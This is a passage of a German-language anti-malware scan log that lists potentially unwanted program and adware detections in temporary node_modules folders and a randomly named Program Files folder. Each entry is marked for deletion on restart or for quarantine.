PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\async\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\benchmark, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\async, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\forever-agent, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tunnel-agent, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\example, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\stringstream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\oauth-sign, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\aws-sign2, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\caseless, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\block-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\inherits, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\storage, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\NW9572_16434, In Quarantäne, [2862], [371306],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\SSL, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\PROGRAM FILES (X86)\MTGpsFmYZE, Löschen bei Neustart, [2807], [371199],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\example, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\build, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\example, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\man\man3ctype, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\assert-plus, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\tools, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\man, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\support, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\tst, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\node_modules\punycode, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\benchmark, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\graceful-fs, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\bin, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\underscore, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\async\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\benchmark, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
